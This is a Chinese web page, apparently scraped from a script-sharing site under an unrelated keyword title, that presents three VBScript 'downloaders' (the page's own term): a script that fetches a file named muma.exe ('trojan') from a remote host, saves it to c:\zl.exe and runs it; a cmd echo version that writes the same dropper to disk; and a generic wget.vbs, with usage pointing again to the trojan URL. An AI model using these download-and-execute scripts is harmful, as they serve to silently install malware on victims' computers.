安徽事故,感谢师恩手抄报图片,佘静
一、vbs下载者:
set post = createobject("msxml2.xmlhttp")
set shell = createobject("wscript.shell")
post.open "get","http://www.jbzj.com/muma.exe",0
post.send()
set aget = createobject("adodb.stream")
aget.mode = 3
aget.type = 1
aget.open()
aget.write(post.responsebody)
aget.savetofile "c:\zl.exe",2
wscript.sleep 1000
shell.run ("c:\zl.exe") '延迟过后执行下载文件
二、cmd下执行的版本:
echo set post = createobject("msxml2.xmlhttp") >>zl.vbs
echo set shell = createobject("wscript.shell") >>zl.vbs
echo post.open "get","http://www.jbzj.com/muma.exe",0 >>zl.vbs
echo post.send() >>zl.vbs
echo set aget = createobject("adodb.stream") >>zl.vbs
echo aget.mode = 3 >>zl.vbs
echo aget.type = 1 >>zl.vbs
echo aget.open() >>zl.vbs
echo aget.write(post.responsebody) >>zl.vbs
echo aget.savetofile "c:\zl.exe",2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo shell.run ("c:\zl.exe") >>zl.vbs
三、wget.vbs
on error resume next
ilocal=lcase(wscript.arguments(1))
iremote=lcase(wscript.arguments(0))
iuser=lcase(wscript.arguments(2))
ipass=lcase(wscript.arguments(3))
set xpost=createobject("microsoft.xmlhttp")
if iuser="" and ipass="" then
xpost.open "get",iremote,0
else
xpost.open "get",iremote,0,iuser,ipass
end if
xpost.send()
set sget=createobject("adodb.stream")
sget.mode=3
sget.type=1
sget.open()
sget.write xpost.responsebody
sget.savetofile ilocal,2
使用方法:cscript wget.vbs http://www.jbzj.com/muma.exe
如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!!
点击进行留言回复
相关文章:
-
-
-
-
用vbs实现文本循环读取
因为测试中需要读取一批url数据进行浏览,其实使用qtp本身的table能实现多种读取方式,但是因为需要tabel是使用excel保存的,在没有...
[阅读全文]
-
-
-
-
-
-
-
网友评论